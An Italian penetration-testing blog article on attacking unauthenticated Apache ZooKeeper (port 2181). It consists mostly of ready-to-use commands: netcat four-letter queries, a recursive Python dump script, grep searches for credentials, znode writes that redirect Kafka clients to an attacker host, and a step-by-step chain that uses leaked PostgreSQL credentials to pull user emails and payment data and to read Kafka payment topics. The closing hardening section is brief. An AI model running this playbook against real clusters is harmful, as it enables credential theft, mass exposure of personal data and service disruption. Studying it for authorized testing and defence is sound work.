Porta 2181 ZooKeeper: Pentest, Dump e Four-Letter Commands

Porta 2181 ZooKeeper nel pentest: four-letter commands, dump configurazioni, cluster enumeration e metadata sensibili.
- Pubblicato il 2026-04-13
- Tempo di lettura: 7 min
Apache ZooKeeper port 2181 è il servizio di coordinamento distribuito dell’ecosistema Apache: gestisce la configurazione, la sincronizzazione e il service discovery per Hadoop, HBase, Kafka, ActiveMQ, Solr, NiFi e decine di altri servizi. Ascolta sulla porta 2181 TCP e funziona come un filesystem gerarchico (simile a un registry) dove ogni servizio registra il proprio stato, la propria configurazione e i metadati del cluster. Nel penetration testing, ZooKeeper è il punto di raccolta informazioni più potente in un ambiente Big Data: da un singolo servizio ottieni la mappa completa del cluster — tutti i nodi, tutte le configurazioni, tutti i servizi attivi.
E indovina? Nessuna autenticazione di default. Ti connetti con nc e leggi tutto.
ZooKeeper non contiene i dati utente direttamente (quelli sono in HDFS, HBase, Kafka), ma contiene le configurazioni che ti dicono dove sono quei dati, come raggiungerli, e spesso con quali credenziali. È la mappa del tesoro prima del tesoro stesso.
Un caso che racconto spesso: durante un pentest per una media impresa che usava Kafka per il processing degli eventi, ho trovato ZooKeeper sulla 2181. Nei nodi ZooKeeper c’era la configurazione completa di Kafka — broker, topic, consumer group — e la configurazione di un connettore JDBC che conteneva la connection string a PostgreSQL con credenziali in chiaro. Dal “servizio di coordinamento” al database in 5 comandi.
Cos’è ZooKeeper — Per Chi Non Lavora con Big Data #
Pensa a ZooKeeper come un registro condiviso: i servizi del cluster scrivono la propria configurazione e il proprio stato in nodi gerarchici (chiamati znodes), e gli altri servizi leggono queste informazioni per coordinarsi. È organizzato come un filesystem:
/ (root)
├── /zookeeper
│ └── /config
├── /kafka
│ ├── /brokers
│ │ └── /ids
│ │ ├── /0 → {"host":"kafka-01","port":9092}
│ │ └── /1 → {"host":"kafka-02","port":9092}
│ ├── /topics
│ │ ├── /orders
│ │ └── /payments
│ └── /consumers
├── /hbase
│ ├── /master → kafka-master-01:16000
│ ├── /rs → [lista RegionServer]
│ └── /table
├── /solr
│ └── /configs
└── /hadoop-ha
└── /ActiveBreadCrumb → namenode-01:8020Client (nc/zkCli) ZooKeeper Ensemble (:2181)
┌──────────────┐ ┌─────────────────────────────┐
│ ls / │──TCP─────►│ Leader │
│ get /kafka/ │ │ ├── znode tree (in-memory) │
│ stat │ │ ├── Follower 1 │
│ │◄──────────│ └── Follower 2 │
│ │ data │ │
└──────────────┘ └─────────────────────────────┘| Porta | Servizio | Note |
|---|---|---|
| 2181 | ZooKeeper client | Accesso client |
| 2888 | ZooKeeper peer | Comunicazione tra nodi ZK |
| 3888 | ZooKeeper election | Elezione leader |
1. Enumerazione #
Nmap #
nmap -sV -p 2181,2888,3888 10.10.10.40Four-Letter Commands #
ZooKeeper risponde a comandi di 4 lettere via TCP — senza autenticazione:
# Status del server
echo "stat" | nc 10.10.10.40 2181Zookeeper version: 3.8.4-...
Latency min/avg/max: 0/0/15
Received: 1500000
Sent: 1500001
Connections: 45
Outstanding: 0
Zxid: 0x200000abc
Mode: leader
Node count: 8500Intelligence: versione (3.8.4), 45 connessioni attive (servizi che usano ZK), 8500 nodi nel tree (cluster complesso), questo server è il leader.
# Configurazione
echo "conf" | nc 10.10.10.40 2181
# Connessioni attive (IP dei client)
echo "cons" | nc 10.10.10.40 2181
# Watch attivi
echo "wchc" | nc 10.10.10.40 2181
# Server OK?
echo "ruok" | nc 10.10.10.40 2181
# → imok
# Dump sessioni
echo "dump" | nc 10.10.10.40 2181
# Environment (Java version, OS, path)
echo "envi" | nc 10.10.10.40 2181Il comando cons è particolarmente utile: mostra gli IP di tutti i client connessi — cioè tutti i servizi del cluster (Kafka broker, HBase master, Hadoop NameNode). È una mappa di rete gratuita.
# Esempio output cons
echo "cons" | nc 10.10.10.40 2181/10.10.10.50:45321[1](queued=0,recved=500,sent=500,sid=0x1000001,lop=PING,...)
/10.10.10.51:45322[1](queued=0,recved=800,sent=800,sid=0x1000002,lop=GETD,...)
/10.10.10.52:45323[1](queued=0,recved=200,sent=200,sid=0x1000003,lop=PING,...)Tre client: 10.10.10.50, 10.10.10.51, 10.10.10.52 — sono i server del cluster. Target da scansionare.
Nota: Four-letter commands disabilitati #
Nelle versioni recenti, i 4-letter commands possono essere limitati via 4lw.commands.whitelist nel config. Se stat non risponde, prova ruok (quasi sempre in whitelist) o passa direttamente al client ZK.
2. Client ZooKeeper — Navigazione Completa #
zkCli.sh #
# Connessione
/opt/zookeeper/bin/zkCli.sh -server 10.10.10.40:2181# Oppure installa il client Python
pip install kazooComandi base #
# Nel client zkCli.sh:
# Lista root
ls /
# Lista nodi Kafka
ls /kafka
ls /kafka/brokers/ids
# Leggi un nodo
get /kafka/brokers/ids/0
# Leggi con metadata
get -s /kafka/brokers/ids/0Enumerazione completa con script #
#!/usr/bin/env python3
"""zk_enum.py — Enumerazione ricorsiva ZooKeeper"""
from kazoo.client import KazooClient
import json, sys
zk = KazooClient(hosts=sys.argv[1] if len(sys.argv) > 1 else '10.10.10.40:2181')
zk.start()
def enum(path="/", depth=0):
try:
data, stat = zk.get(path)
children = zk.get_children(path)
prefix = " " * depth
data_str = data.decode('utf-8', errors='replace')[:200] if data else ""
print(f"{prefix}{path} [{len(children)} children] = {data_str}")
for child in children:
child_path = f"{path}/{child}" if path != "/" else f"/{child}"
enum(child_path, depth + 1)
except Exception as e:
pass
enum()
zk.stop()python3 zk_enum.py 10.10.10.40:2181 | tee zk_dump.txt
grep -iE "password|secret|credential|jdbc|conn" zk_dump.txt3. Dati Sensibili nei Nodi ZooKeeper #
Configurazione Kafka #
get /kafka/brokers/ids/0{"host":"kafka-01.corp.local","port":9092,"jmx_port":9999,"endpoints":["PLAINTEXT://kafka-01:9092"]}Hostname e porta di ogni broker Kafka — target per accesso ai messaggi.
ls /kafka/brokers/topics
# → orders, payments, user-events, system-commandsLista completa dei topic Kafka.
Configurazione HBase #
get /hbase/master
# → hostname e porta del Master HBase
ls /hbase/rs
# → lista di tutti i RegionServer
get /hbase/table
# → tabelle HBaseMappa completa del cluster HBase.
Hadoop HA (High Availability) #
get /hadoop-ha/mycluster/ActiveBreadCrumb
# → namenode-01.corp.local:8020Il NameNode attivo.
Credenziali in configurazioni #
# Connettori JDBC in Kafka Connect
get /kafka-connect/configs/jdbc-source-connector{
"connector.class": "io.confluent.connect.jdbc.JdbcSourceConnector",
"connection.url": "jdbc:postgresql://db01:5432/production",
"connection.user": "kafka_connect",
"connection.password": "K@fk4C0nn3ct!",
"table.whitelist": "orders,users,payments"
}Connection string con credenziali in chiaro per PostgreSQL. Jackpot.
Solr/SolrCloud configurazioni #
ls /solr/configs
get /solr/live_nodesApache NiFi #
get /nifi/leader
ls /nifi/processors4. Manipolazione Dati (Write Access) #
Se l’accesso è in scrittura (default senza ACL):
# Crea un nodo
create /test "proof-of-concept"
# Modifica un nodo esistente (es: redirect un servizio)
set /kafka/brokers/ids/0 '{"host":"10.10.10.200","port":9092}'Modificare i nodi ZooKeeper può:
- Reindirizzare i client Kafka verso un broker controllato dall’attaccante
- Cambiare il master HBase attivo
- Interrompere il cluster modificando lo stato dei nodi
⚠️ Non farlo in produzione senza autorizzazione — è DoS immediato.
5. CVE ZooKeeper #
ZooKeeper ha poche CVE ad alto impatto, ma quelle che esistono sono rilevanti:
| CVE | Anno | CVSS | Descrizione |
|---|---|---|---|
| CVE-2023-44981 | 2023 | 9.1 | Authorization bypass via SASL quorum peer — un attaccante può unirsi al ensemble ZK |
| CVE-2024-23944 | 2024 | 5.3 | Information disclosure via persistent watcher — leak dati tra sessioni |
| CVE-2019-0201 | 2019 | 5.9 | Leak dati via getACL su nodi senza READ permission |
searchsploit zookeeper6. Micro Playbook Reale #
Minuto 0-2 → Four-letter commands
echo "stat" | nc TARGET 2181 # Versione, modo, nodi
echo "envi" | nc TARGET 2181 # OS, Java, path
echo "cons" | nc TARGET 2181 # IP tutti i client → mappa reteMinuto 2-5 → Navigazione tree
# Con zkCli.sh o Python kazoo
ls /
ls /kafka
ls /hbase
ls /hadoop-haMinuto 5-15 → Dump completo e ricerca credenziali
python3 zk_enum.py TARGET:2181 | tee zk_dump.txt
grep -iE "password|secret|credential|jdbc|connection" zk_dump.txtMinuto 15+ → Pivoting verso i servizi scoperti
I dati di ZooKeeper ti dicono dove andare dopo: Kafka broker, HBase master, NameNode, database SQL con credenziali.
7. Caso Studio Concreto #
Settore: Media company, 300 dipendenti, piattaforma streaming eventi.
Scope: Pentest interno, postazione utente standard.
Scansione rete → porta 2181 su tre server (ensemble ZK). echo "stat" | nc → ZooKeeper 3.7.1, mode leader, 12.000 nodi. echo "cons" → 15 IP client, che ho usato come lista target.
Con lo script Python ho dumpato l’intero tree: 12.000 nodi in 30 secondi. Nel dump:
- Configurazione Kafka con 8 broker e 47 topic (inclusi
user.activity,payment.processing,content.recommendations) - Kafka Connect JDBC connector con credenziali PostgreSQL:
analytics_user:An@lytics2024!per il databaseuser_analyticscon 2 milioni di profili utente - Configurazione HBase con il master e 6 RegionServer
- NiFi leader con hostname del server di orchestrazione dati
Con le credenziali PostgreSQL dal connettore Kafka ho fatto login al database: 2 milioni di profili utente con nome, email, storico di visione, preferenze e metodo di pagamento. Con gli IP da cons ho trovato e sfruttato un HBase senza auth e un Kafka senza auth.
Tempo dal primo echo "stat" alle credenziali PostgreSQL: 8 minuti. ZooKeeper è stato la Rosetta Stone per capire l’intera infrastruttura.
8. Errori Comuni Reali Trovati nei Pentest #
1. Nessuna autenticazione (il default) ZooKeeper non ha auth di default. Il meccanismo SASL/Kerberos esiste ma richiede configurazione complessa. La stragrande maggioranza delle installazioni è completamente aperta.
2. Porta 2181 raggiungibile dalla rete aziendale ZooKeeper dovrebbe essere accessibile solo dai servizi del cluster. Invece lo trovo raggiungibile da qualsiasi VLAN — a volte persino da Internet (Shodan ne mostra migliaia).
3. Credenziali in chiaro nei nodi Connettori JDBC, configurazioni di servizi, token — tutto in chiaro nei nodi ZK. I team DevOps scrivono le configurazioni senza pensare che ZK è leggibile da chiunque.
4. Four-letter commands tutti abilitati
cons, dump, envi rivelano informazioni critiche sulla rete e sull’ambiente. Dalla versione 3.5.3 è possibile limitarli con 4lw.commands.whitelist, ma pochi lo fanno.
5. Nessuna ACL sui nodi
ZooKeeper supporta ACL per nodo (digest auth, IP-based, SASL), ma di default tutti i nodi hanno world:anyone:cdrwa — read/write per tutti.
6. Nessun audit Chi legge cosa, chi modifica cosa — nessun log. Un attaccante legge l’intero tree senza lasciare traccia.
9. Mini Chain Offensiva Reale #
ZooKeeper :2181 → Cluster Map (cons) → Kafka Config → JDBC Credentials → PostgreSQL → 2M profili utenteStep 1 — Mappa rete dai client ZK
echo "cons" | nc 10.10.10.40 2181
# → 10.10.10.50 (kafka-01), 10.10.10.51 (kafka-02), 10.10.10.60 (hbase-master)...Step 2 — Dump tree e cerca credenziali
python3 zk_enum.py 10.10.10.40:2181 > zk_dump.txt
grep -i "password\|connection.url" zk_dump.txt
# → /kafka-connect/configs/jdbc-source: connection.password = An@lytics2024!Step 3 — Accesso PostgreSQL
psql -h db01 -U analytics_user -d user_analytics -c "SELECT count(*) FROM users;"
# → 2000000
psql -h db01 -U analytics_user -d user_analytics -c "SELECT email, payment_method FROM users LIMIT 10;"Step 4 — Exploit Kafka (dalla mappa ZK)
# I topic Kafka scoperti da ZK
kafka-console-consumer.sh --bootstrap-server 10.10.10.50:9092 --topic payment.processing --from-beginning --max-messages 10Step 5 — Exploit HBase (dalla mappa ZK)
curl -s "http://10.10.10.60:8080/user_profiles/scanner" -H "Content-Type: text/xml" -d '<Scanner batch="10"/>'ZooKeeper ha rivelato l’intera infrastruttura e le credenziali per accedervi.
10. Detection & Hardening #
- SASL/Kerberos — abilita autenticazione per i client
- ACL sui nodi —
digestosaslauth per nodi con dati sensibili - Firewall — porta 2181 accessibile solo dai servizi del cluster
- 4lw.commands.whitelist — limita a
ruok,stat(rimuovicons,dump,envi) - TLS —
ssl.clientAuth=needper comunicazione cifrata - Non salvare credenziali in chiaro — usa un secrets manager
- Audit — abilita per tracciare letture/scritture
- Isolamento rete — ZK ensemble in VLAN dedicata
11. Mini FAQ #
ZooKeeper contiene dati utente? Non direttamente — contiene la configurazione e i metadati dei servizi che gestiscono i dati utente. Ma spesso queste configurazioni includono credenziali (connection string, password, token) che danno accesso ai dati.
Quali servizi dipendono da ZooKeeper? Praticamente tutto l’ecosistema Apache Big Data: Kafka (fino alla versione 3.x, poi KRaft), HBase, Hadoop (HA), Solr/SolrCloud, NiFi, Storm, Druid, Flink. Se un’azienda usa uno di questi → ha ZooKeeper.
ZooKeeper è in fase di deprecazione? Per Kafka sì — dalla versione 3.0 Kafka supporta KRaft (senza ZK), e dalla 4.0 ZK non sarà più supportato. Ma per HBase, Solr e gli altri servizi, ZooKeeper resta il coordinatore standard. E le installazioni Kafka pre-3.0 con ZK saranno in produzione ancora per anni.
12. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 2181,2888,3888 target |
| Status | echo "stat" | nc target 2181 |
| Config | echo "conf" | nc target 2181 |
| Connessioni | echo "cons" | nc target 2181 |
| Environment | echo "envi" | nc target 2181 |
| Dump | echo "dump" | nc target 2181 |
| Health | echo "ruok" | nc target 2181 |
| zkCli ls | ls /; ls /kafka; ls /hbase |
| zkCli get | get /kafka/brokers/ids/0 |
| Python enum | python3 zk_enum.py target:2181 |
| Cerca creds | grep -iE "password|secret|jdbc" zk_dump.txt |
Riferimento: Apache ZooKeeper Admin Guide, ZooKeeper Security, HackTricks ZooKeeper. Uso esclusivo in ambienti autorizzati.
ZooKeeper è la mappa del tuo cluster — e chiunque può leggerla. Assessment infrastruttura Big Data HackIta per verificare la postura di sicurezza. Per padroneggiare il pentesting di ecosistemi distribuiti: formazione 1:1.







